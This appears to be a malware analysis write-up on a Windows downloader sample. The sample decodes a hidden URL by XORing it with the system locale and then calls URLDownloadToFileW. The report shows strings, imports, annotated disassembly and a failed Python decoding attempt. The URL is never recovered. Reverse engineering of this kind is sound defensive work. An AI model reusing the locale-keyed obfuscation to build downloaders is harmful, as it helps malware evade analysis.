

Sample: f8c4c9

Sample

SHA256: `f8c4c946eaedcfa8bbb722970211c2c4a458f6483dafb5d5a7fd83b3daa441cd`

The sample is a 32 bit Windows Portable Executable (PE) that attempts to execute a request towards an encrypted URI via a XOR Cipher.

Task

Extract embedded strings from the sample

Static Analysis

Running floss and pestudio yielded the following results:

Notable Strings

```
f1DM
KERNEL32.DLL
urlmon.dll
GetSystemDefaultLocaleName
ExitProcess
lstrlenW
URLDownloadToFileW
http://NQLW      BM
 '@H
```

Imports

```
URLDownloadToFileW
```

Libs

```
KERNEL32.DLL
urlmon.dll
```

Dynamic Analysis

I've run the sample with IDA in a debug mode setting a breakpoint at the entry of the program. From the image, we can see that the XOR Cipher is most likely to be the System's Locale.

```

call ds:GetSystemDefaultLocaleName ; Indirect Call Near Procedure
lea  eax, [ebp+String] ; Load Effective Address
push eax ; lpString
call ds:lstrlenW ; Indirect Call Near Procedure
mov  esi, eax
xor  edi, edi ; Logical Exclusive OR
xor  edx, edx ; Logical Exclusive OR
cmp  esi, edi ; Compare Two Operands
jle  short loc_40105F ; Jump if Less or Equal (ZF=1 | SF!=0F)

```

Gets the system language ("en-US")

```

loc_401040:
lea  eax, [ebp+edx*2+String] ; Load Effective Address
movzx ecx, word ptr [eax] ; Move with Zero-Extend
cmp  ecx, 41h ; Compare Two Operands
jnb  short loc_40105A ; Jump if Below (CF=1)

```

```

cmp  ecx, 5Ah ; Compare Two Operands
ja  short loc_40105A ; Jump if Above (CF=0 & ZF=0)

```

```

add  ecx, 20h ; Add
mov  [eax], cx

```

Adding 20h to ecx which is the current letter capital case letter (because of cmp ecx, 5Ah) make it a lower case letter.

```

loc_40105A:
inc  edx ; Increment by 1
cmp  edx, esi ; Compare Two Operands
jl  short loc_401040 ; Jump if Less (SF!=0F)

```

```

loc_40105F:
push 7
pop  ecx

```

Pushes the offset with 7 chars, essentially skipping the "http://"

```

loc_401062:
mov  eax, ecx
cdq ; FAY -> EDI:FAX (with sign)
idiv esi ; Indicates a MOD (%)
mov  ax, [ebp+edx*2+String] ; The register that contains the current letter from the locale (ex: "e")
xor  [ebp+ecx*2+var_7C], ax ; Logical Exclusive OR
inc  ecx ; Increment by 1
cmp  ecx, 28h ; Compare Two Operands
jnb  short loc_401062 ; Jump if Below (CF=1)

```

Skip over the zeros

```

push edi ; LPBINDSTATUSCALLBACK
push edi ; DWORD
lea  eax, [ebp+var_46] ; Load Effective Address
push eax ; LPCWSTR
lea  eax, [ebp+var_7C] ; Load Effective Address
push eax ; LPCWSTR
push edi ; LPUNKNOWN
call ds:URLDownloadToFileW ; Indirect Call Near Procedure
push edi ; uExitCode
call ds:ExitProcess ; Indirect Call Near Procedure
start endp

```

After numerous tries to get the "key" to get the URI I gave up, the results didn't make any sense to me. I wrote a simple python script that should have got me the URI but it outputs gibberish.

```

encoded_url =
b'\x68\x74\x74\x70\x3a\x2f\x2f\x4e\x51\x4c\x57\x09\x42\x4d\x0f\x04\x5f\x5a\x

```

```
4d\x03\x17\x0b\x2d\x3c\x07\x31\x4f\x02\x06\x03\x07\x41\x06\x20\x27\x40\x48\x1b\x07'
```

```
sys_lang = "en-us"
```

```
for i in range(7, len(encoded_url)):  
    print(chr(encoded_url[i] ^ ord(sys_lang[i % len(sys_lang)])), end="")
```

I thought that I would successfully bruteforce the key by creating a script but after about 20-30 min of running I gave up.

The strings that I got follows:

```
c$?2go8|a1w8preItT!/spb/+UT%&6r%  
c$?2go8|a1w8pre Isb_bwufilsSB.ent  
bwufi
```

I also put Fiddler to check any outgoing connections that could get me the decoded URI however none appeared.

Tools

- procmon
- Fiddler
- Inetsim
- Wireshark
- IDA Freeware
- Cutter
- floss
- pestudio
- VirtualBox
 - FLARE VM (Win10 Enterprise for Malware Analysis)
 - REMnux